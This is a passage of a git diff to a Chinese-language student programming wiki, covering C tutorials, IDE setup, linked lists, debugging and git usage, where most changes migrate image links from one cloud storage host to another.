竞赛从入门到入坟.md +++ b/3.编程思维体系构建/3.2.3ACM 竞赛从入门到入坟.md @@ -58,7 +58,7 @@ 打完比赛,建议钻研一下自己没做出的前一两题,写个题解。为什么要写题解呢,一个是方便以后来回顾,一个是加深印象,一个是把自己的思维用文字表达出来,这样能发现思维的漏洞(比如证明不严谨之类的)。题解写出来发不发博客就看个人喜好吧。作者以前也是坚持写博客写了很久。 -![](static/Axiomofchoice_1.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Axiomofchoice_1.png) 为什么要打 Codeforces 比赛呢?主要原因是打比赛有计时,有压力(怕掉分的压力),能让人提升更快。不要因为怕掉分就不参加了,你要相信只要你一直打比赛,你的 rating 曲线一定是波动上升的。 diff --git a/3.编程思维体系构建/3.3如何选择编程语言.md b/3.编程思维体系构建/3.3如何选择编程语言.md index c797b5a..3e6d9e1 100644 --- a/3.编程思维体系构建/3.3如何选择编程语言.md +++ b/3.编程思维体系构建/3.3如何选择编程语言.md @@ -10,7 +10,7 @@ 首先附上一张经典老图 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnW0YQY58RXhwdtRj5k6ndlc.jpeg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnW0YQY58RXhwdtRj5k6ndlc.jpeg) ## C 语言/C++ @@ -56,6 +56,6 @@ Python 在图里是电锯,适合干比较“狂野”的任务,也是深度 频繁应用于Web 开发,安卓应用等等。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnPv2FcyQxGLjYHThSaJNwRf.jpeg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPv2FcyQxGLjYHThSaJNwRf.jpeg) 当然还有各种形形色色的编程语言等着同学们去探索。 diff --git a/3.编程思维体系构建/3.4.1FAQ:常见问题.md b/3.编程思维体系构建/3.4.1FAQ:常见问题.md index 9327da4..4327261 100644 --- a/3.编程思维体系构建/3.4.1FAQ:常见问题.md +++ b/3.编程思维体系构建/3.4.1FAQ:常见问题.md @@ -8,7 +8,7 @@ 尝试借鉴他人的代码也未尝不可,但是要保证每一行都看懂哦 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnQ4rvJqVbXJaWMOwceHdrQb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnQ4rvJqVbXJaWMOwceHdrQb.png) # 我感觉讲义写的不够细 @@ -67,6 +67,6 @@ NJU-ICS-PA 南京大学计算机系统基础 # 坚持了好久还是搞不定, 我想放弃了 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnuNXrb5zOppCZAlGQ19wuDk.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnuNXrb5zOppCZAlGQ19wuDk.jpg) 也许是你坚持的姿势不对,来和 ZZM 聊聊吧 diff --git a/3.编程思维体系构建/3.4.2用什么写 C 语言.md b/3.编程思维体系构建/3.4.2用什么写 C 语言.md index 6232ff8..3783188 100644 --- a/3.编程思维体系构建/3.4.2用什么写 C 语言.md +++ b/3.编程思维体系构建/3.4.2用什么写 C 语言.md @@ -16,7 +16,7 @@ Visual Studio (以下简称 VS )是 Windows 下最完美的 C/C++ 等语言 选择社区版 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhNeAnlrbcdJciMUY9oNTuc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhNeAnlrbcdJciMUY9oNTuc.png) 社区版和专业版等的区别:社区版免费,功能上几乎无差别 @@ -24,7 +24,7 @@ Visual Studio (以下简称 VS )是 Windows 下最完美的 C/C++ 等语言 选择 C++ 桌面开发,其他不用选,有需要了再说。另外,Python 开发不好使,不要像我一样选 Python 开发。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnkjmKcCxIgRIzA5kyUZckye.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnkjmKcCxIgRIzA5kyUZckye.png) 安装完成后,一般来说 VS 不会自动创建桌面快捷方式,你需要到开始菜单中启动 VS。 @@ -38,19 +38,19 @@ VS 是项目制,你需要创建一个项目才能开始编写代码并运行 打开 VS,会打开如下界面(我使用深色主题),在此处单击“创建新项目” -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn6MgNnY2qBd1yAudeirx6Sh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn6MgNnY2qBd1yAudeirx6Sh.png) 在创建新项目页面中选择项目模板为控制台应用(空项目亦可,后续手动添加.c 源文件),并单击下一步 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png) 为你的项目起一个名字,以及选择项目的位置,一般默认即可,如果你有强迫症,C 盘一定不能放个人数据,请自行修改。完成后单击“创建” -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnkxd472wIT39DbEiBsyPWzf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnkxd472wIT39DbEiBsyPWzf.png) 自此就创建了一个项目了,你将会到达如下界面: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnvOGdjKLnvXvJM7nlE8yVcb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnvOGdjKLnvXvJM7nlE8yVcb.png) 其中,左侧(如果在一开始没有选择 C++ 开发环境的话可能在右侧)为资源管理器,列出了本项目所用到的所有文件,包括代码(外部依赖项、源文件、头文件),以及将来开发图形化界面所需的资源文件;最中间占据面积最多的是代码编辑器窗口,你以后将会在这里编写你的 C 语言代码。最下面是输出窗口,源代码进行编译时,会在此处给出编译进度以及可能的代码中的错误。 @@ -66,7 +66,7 @@ C 语言是编译型语言,因此说“运行”代码其实并不是十分合 当你编写完自己的代码后,即可单击“本地 Windows 调试器”(或者使用快捷键 F5)进行“运行”。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnhTxhUYMHeYHdrq0zWzLomb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnhTxhUYMHeYHdrq0zWzLomb.png) 你可能会发现在“本地 Windows 调试器”右侧还有一个绿色三角形,并且单击这个也可以“运行”,这两个的区别在于“本地 Windows 调试器”是调试运行,右侧那个是不调试直接运行。 @@ -74,17 +74,17 @@ C 语言是编译型语言,因此说“运行”代码其实并不是十分合 如果你的代码被 VS 提示“This function or variable may be unsafe. Consider using scanf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.” -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnfrxYjk5CCjMfY0mLK1B1Ze.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfrxYjk5CCjMfY0mLK1B1Ze.png) 需要你在项目-xxx 属性(xxx 是你的项目名)-C/C++-代码生成-安全检查里将安全检查禁用 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcniHhCIUQY0oB3ALlxqgciLd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcniHhCIUQY0oB3ALlxqgciLd.png) ## 调试 IDE 相比于代码编辑器,最强大的一点莫过于成熟的调试系统。通过调试,可以快速定位代码中没有被编译器检查出来的逻辑错误。如果需要调试,则可以在这个位置单击,打下断点,并且运行程序,程序运行时,就会在此处暂停下来,暂停时就可以查看各个变量的值了。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnydHyaNPqUEVVWmbdGofX0d.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnydHyaNPqUEVVWmbdGofX0d.png) ## 深色主题 @@ -94,15 +94,15 @@ IDE 相比于代码编辑器,最强大的一点莫过于成熟的调试系统 ### 仔细查看报错 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnC6TAAdtS0P5HzebFgFn2lc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnC6TAAdtS0P5HzebFgFn2lc.png) 如果程序代码中出现红色波浪线,则表示该处代码有“错误”,并且该处的错误会同步显示在下面的这个位置,单击即可看到错误详情。如果代码中出现绿色波浪线,则表示该处代码中有警告。警告和错误的区别是警告可以通过编译运行,但编译器认为你这里可能写错了;错误是完全不可以通过编译。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn7zL0QFakVTpYBdpOmmWOvc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn7zL0QFakVTpYBdpOmmWOvc.png) ### 善用提示 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn2ouk043lNQEUkVkIS7bSSd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn2ouk043lNQEUkVkIS7bSSd.png) 当你打一些函数名或者关键字时,VS 会给出你语法提示,如果这个提示正确,按下 Tab 键即可将这个提示补全到你的代码里;或者你也可以跟着这个提示打一遍,防止打错关键字。 @@ -136,7 +136,7 @@ vscode 的项目和 VS 不同,vscode 的项目比较松散,并没有 VS 那 编写完代码后,保存文件,并点击运行-启动调试 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnim98FJybpkGl8sfqxP9v9b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnim98FJybpkGl8sfqxP9v9b.png) 此时会弹出如下选择框,我的电脑上同时安装有 VS 和 gcc 编译器,因此有两个,大部分的电脑上应该只有一个“C++ (Windows)”,选择你电脑上的编译器并运行即可。 @@ -162,25 +162,25 @@ CLion 是 jetbrains 家族的 C 语言 IDE XCode 是 mac 官方的 IDE,能编写所有 mac 家族设备的软件。但缺点是没有中文。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png) 打开以后选择 Create a new Xcode project,选择 macOS-Command Line Tool -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnbnrVCmNGfriHhU5pL76gsd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnbnrVCmNGfriHhU5pL76gsd.png) -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnnjaObP5JzpICUx1PMO9MQg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnjaObP5JzpICUx1PMO9MQg.png) 两个空里第一个填项目名,第二个随便填就行 next 后选择项目保存的位置,之后即可到达以下界面: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnl06p0ZS8SSQsWJNLQLYIjc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnl06p0ZS8SSQsWJNLQLYIjc.png) 点左上方小三角即可运行 在行号上点击并运行即可调试 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnmRygjmZfwFzODP2N6bVoEh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnmRygjmZfwFzODP2N6bVoEh.png) # Linux diff --git a/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md b/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md index aa47eed..080412f 100644 --- a/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md +++ b/3.编程思维体系构建/3.4.3解决编程问题的普适性过程.md @@ -3,7 +3,7 @@ - 本篇不需要任何前置知识,推荐在学习 C 语言和学完 C 语言后各看一遍。 - 我们鼓励你在解决问题的时候进行思考,锻炼解决问题的能力,而不只是成为一个做代码翻译工作的“码农”。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/YAOvb6gquofiAYxsn3tcxcCYngf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/YAOvb6gquofiAYxsn3tcxcCYngf.png) 解决编程问题的常见误区: @@ -13,7 +13,7 @@ 如果你计划得足够好并且代码编写得正确,你的代码将在第一次工作。即便它第一次不起作用,那么你至少有一个对于代码如何调试的可靠计划。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png) ## Work an Example Yourself diff --git a/3.编程思维体系构建/3.4.4C语言前置概念学习.md b/3.编程思维体系构建/3.4.4C语言前置概念学习.md index 54a0545..8638d01 100644 --- a/3.编程思维体系构建/3.4.4C语言前置概念学习.md +++ b/3.编程思维体系构建/3.4.4C语言前置概念学习.md @@ -34,6 +34,6 @@ 计算机思维与计算机科学与编码能力 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png) ### CS education is more than just “learning how to code”! diff --git a/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md b/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md index fa4e451..7c2ce95 100644 --- a/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md +++ b/3.编程思维体系构建/3.4.5.1C语言自测标准——链表.md @@ -6,13 +6,13 @@ 使用链表存储数据,不强制要求数据在内存中集中存储,各个元素可以分散存储在内存中。例如,使用链表存储 {1,2,3},各个元素在内存中的存储状态可能是: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnuwZzqX4dF8xKTYajwrDSxf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnuwZzqX4dF8xKTYajwrDSxf.png) 可以看到,数据不仅没有集中存放,在内存中的存储次序也是混乱的。那么,链表是如何存储数据间逻辑关系的呢? 链表存储数据间逻辑关系的实现方案是:为每一个元素配置一个指针,每个元素的指针都指向自己的直接后继元素,如下图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnAnkVAJmMT0NSNvo6crXYAd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnAnkVAJmMT0NSNvo6crXYAd.png) 显然,我们只需要记住元素 1 的存储位置,通过它的指针就可以找到元素 2,通过元素 2 的指针就可以找到元素 3,以此类推,各个元素的先后次序一目了然。像图 2 这样,数据元素随机存储在内存中,通过指针维系数据之间“一对一”的逻辑关系,这样的存储结构就是链表。 @@ -20,13 +20,13 @@ 在链表中,每个数据元素都配有一个指针,这意味着,链表上的每个“元素”都长下图这个样子: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcncRc5OKZROtxC9rpQYxrjvf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcncRc5OKZROtxC9rpQYxrjvf.png) 数据域用来存储元素的值,指针域用来存放指针。数据结构中,通常将这样的整体称为结点。 也就是说,链表中实际存放的是一个一个的结点,数据元素存放在各个结点的数据域中。举个简单的例子,图 3 中 {1,2,3} 的存储状态用链表表示,如下图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn0VMYQlez7tQTNkTPDkCsvg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn0VMYQlez7tQTNkTPDkCsvg.png) 在 C 语言中,可以用结构体表示链表中的结点,例如: @@ -66,7 +66,7 @@ typedef struct Node* Link; 例如,创建一个包含头结点的链表存储 {1,2,3},如下图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnjAoO54txAhnu7Ry8ExjGvc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnjAoO54txAhnu7Ry8ExjGvc.png) ## 链表的创建 @@ -104,7 +104,7 @@ while (Judgement) } ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn8ZxT5oMkScArZjZhgM6TYb.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8ZxT5oMkScArZjZhgM6TYb.png) ### 创建结点——尾插法 @@ -121,7 +121,7 @@ while (Judgement) //for同理 } ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnnMjc9pwgZgk1GBmBRlBS6d.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnnMjc9pwgZgk1GBmBRlBS6d.png) ## 链表的基本操作 @@ -176,7 +176,7 @@ int GetElem(Link *L, int i; int *e) 例如,在链表 `{1,2,3,4}` 的基础上分别实现在头部、中间、尾部插入新元素 5,其实现过程如图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnxjex5Q3Lt9AAx6roN3ClUg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnxjex5Q3Lt9AAx6roN3ClUg.png) 从图中可以看出,虽然新元素的插入位置不同,但实现插入操作的方法是一致的,都是先执行步骤 1 ,再执行步骤 2。实现代码如下: @@ -207,7 +207,7 @@ int ListInsert(Link *L, int i, int e) 对于没有头结点的链表,在头部插入结点比较特殊,需要单独实现。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png) 和 2)、3) 种情况相比,由于链表没有头结点,在头部插入新结点,此结点之前没有任何结点,实现的步骤如下: @@ -253,7 +253,7 @@ temp->next=temp->next->next; 例如,从存有 `{1,2,3,4}` 的链表中删除存储元素 3 的结点,则此代码的执行效果如图 3 所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnn3QHja0tzEwqJl9Mk4KnCg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnn3QHja0tzEwqJl9Mk4KnCg.png) 实现代码如下: @@ -282,7 +282,7 @@ int ListDelete(Link *L, int i, int* e) 对于不带头结点的链表,需要单独考虑删除首元结点的情况,删除其它结点的方式和图 3 完全相同,如下图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnXjwE0yDFvpQxLaPw7FifxV.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnXjwE0yDFvpQxLaPw7FifxV.png) 实现代码如下: @@ -319,7 +319,7 @@ int ListDelete(Link *L, int i, int* e) 如图所示,假设此时圆周周围有 5 个人,要求从编号为 3 的人开始顺时针数数,数到 2 的那个人出列: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcngx7ZPA7pONbJo82LbNCO1g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngx7ZPA7pONbJo82LbNCO1g.png) 出列顺序依次为: @@ -339,10 +339,10 @@ int ListDelete(Link *L, int i, int* e) 为了使空链表和非空链表处理一致,我们通常设一个头结点,当然,并不是说,循环链表一定要头结点,这需要注意。循环链表带有头结点的空链表如图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn3l30usevMTgv1ZbZ0mfJdh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3l30usevMTgv1ZbZ0mfJdh.png) 对于非空的循环链表如图所示: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcngoLTiM9wto9uCGzH7nkjkW.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngoLTiM9wto9uCGzH7nkjkW.png) 循环链表和单链表的主要差异就在于循环的判断条件上,原来是判断 p->next 是否为空,现在则是 p->next 不等于头结点,则循环未结束。 diff --git a/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md b/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md index 1b45adc..e87fd8d 100644 --- a/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md +++ b/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool).md @@ -20,7 +20,7 @@ 当然,如果你选择跳过,也不会对 python 开发那里造成非常大的影响但是你会错失一个非常宝贵的学习机会。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnustZBhjMu8FPN0Kxi4Mwvf.jpg) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnustZBhjMu8FPN0Kxi4Mwvf.jpg) 在 1980 年代, [文字冒险](http://en.wikipedia.org/wiki/Text_adventure) 是一种受人尊敬的电脑游戏类型。但是时代已经变了,在 21 世纪,它们与 带有 3D 引擎的现代 [MMORPG 相比显得苍白无力。](http://en.wikipedia.org/wiki/Mmorpg)书籍在电影的兴起中幸存下来,而基于文本的游戏很快就输掉了与图形游戏的战斗。“互动小说”由一个活跃的社区保持活力,但它的商业价值早已不复存在。 diff --git a/3.编程思维体系构建/3.4.7.1.1调试理论.md b/3.编程思维体系构建/3.4.7.1.1调试理论.md index 51160b9..2a1e2f0 100644 --- a/3.编程思维体系构建/3.4.7.1.1调试理论.md +++ b/3.编程思维体系构建/3.4.7.1.1调试理论.md @@ -28,7 +28,7 @@ - 打印变量, 断点, 监视点, 函数调用栈... -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnaqLMfwqNMTcYEPuF3vFjqg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaqLMfwqNMTcYEPuF3vFjqg.png) # 调试理论 diff --git a/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md b/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md index 34e2c55..ed04eaa 100644 --- a/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md +++ b/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览).md @@ -2,7 +2,7 @@ 请在开始进行 C 语言编程之后查阅使用 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnHXggg6eLy86vFmb4shOksh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHXggg6eLy86vFmb4shOksh.png) # GDB 是什么? diff --git a/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md b/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md index e919267..46b7141 100644 --- a/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md +++ b/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior.md @@ -1,6 +1,6 @@ # C 的历史问题:undefined behavior -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnIdOChXQUGMvnxWcB7uTWLh.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnIdOChXQUGMvnxWcB7uTWLh.png) 简写为 UB diff --git a/3.编程思维体系构建/3.4C语言.md b/3.编程思维体系构建/3.4C语言.md index 92d378b..79108cb 100644 --- a/3.编程思维体系构建/3.4C语言.md +++ b/3.编程思维体系构建/3.4C语言.md @@ -6,7 +6,7 @@ 值得一提的是,我不会在本教程讲授过于基础的概念,但是会贴出你可能需要学习的内容。 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnAnXUHDqsMYVrDlBfFunoVf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnAnXUHDqsMYVrDlBfFunoVf.png) 同时我要说的是:C 语言为了适配多种多样的硬件以及各式各样的操作,他对非常多的 undefined 操作不做太多限制,也就是说你可能会出现各种各样的问题,甚至把你电脑炸了 diff --git a/3.编程思维体系构建/3.5git与github.md b/3.编程思维体系构建/3.5git与github.md index 759c57b..e30ec5e 100644 --- a/3.编程思维体系构建/3.5git与github.md +++ b/3.编程思维体系构建/3.5git与github.md @@ -206,7 +206,7 @@ git checkout -B 分支名 页面大概是这样: -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnHemi9HkeAG1fgoznHbHLrc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHemi9HkeAG1fgoznHbHLrc.png) ### Git 和 Github @@ -236,11 +236,11 @@ ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电 登陆 `GitHub`,打开 `settings` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn9VFPUYHl8ghJ3C78RsXjtf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn9VFPUYHl8ghJ3C78RsXjtf.png) 然后打开左侧栏 `SSH and GPG`` keys` 页面 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn1HbQct335qvZ71tGNu7jne.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1HbQct335qvZ71tGNu7jne.png) 然后,点 `New SSH Key`,填上任意 Title,在 Key 文本框里粘贴 `id_rsa.pub` 文件的内容即可 @@ -249,11 +249,11 @@ ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电 绑定完 GitHub 然后你可以创建仓库了 首先在 GitHub 主页,找到 “New” 按钮,创建一个新的仓库 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn5sVnE76FYpVW2RDxtWDiZc.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5sVnE76FYpVW2RDxtWDiZc.png) 然后填上这个仓库的大名就可以创建了 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnsN133WrLrbxsX8JgvsQmif.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnsN133WrLrbxsX8JgvsQmif.png) 根据之前学习的方法在本地创建完 git 仓库之后 @@ -284,7 +284,7 @@ git clone [url] 首先,代码的 url 在下图所示的位置 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnTiaT2EnNfKVkretPsyajVd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTiaT2EnNfKVkretPsyajVd.png) 然后复制完代码后切换回我们的命令行 @@ -296,7 +296,7 @@ git clone https://github.com/camera-2018/git-example.git 一阵抽搐过后就下载好了 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png) 注意:用完之后别忘记给 camera-2018 点个 follow 呃呃 follow 没用 star 有用 @@ -306,7 +306,7 @@ git clone https://github.com/camera-2018/git-example.git 如图 我在仓库里新建了 `helloworld.c` 并且写了一些代码 -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnZpPsp4FP78auolzHvCKP0g.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnZpPsp4FP78auolzHvCKP0g.png) 接下来是提交操作 @@ -314,7 +314,7 @@ git clone https://github.com/camera-2018/git-example.git git status #看一下文件暂存区 ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnm4R1ZN0WeUBuYht6zge7pd.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnm4R1ZN0WeUBuYht6zge7pd.png) 红色表示文件没有提交到暂存区 我们要提交 @@ -324,7 +324,7 @@ git status #看一下文件暂存区 git add . #将没有提交的所有文件加入暂存区 ``` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcnYHd076RAqfDmHjbUkeNSvg.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnYHd076RAqfDmHjbUkeNSvg.png) 绿色表示所有文件已加入暂存 @@ -334,7 +334,7 @@ git commit -m "feat(helloworld): add helloworld file" 将刚才加入暂区的文件发起了一个提交 注释是 `feat(helloworld): add helloworld file` -![](https://hdu-cs-wiki.oss-cn-hangzhou.aliyuncs.com/boxcni2dupDzNO8qTWPAxS5c67b.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcni2dupDzNO8qTWPAxS5c67b.png) 1. 如果这是你自己的仓库有权限 你就可以直接使用 @@ -345,7 +345,7 @@ git push origin main # origin是第四步里remote add起的远程名字 上传本次提交 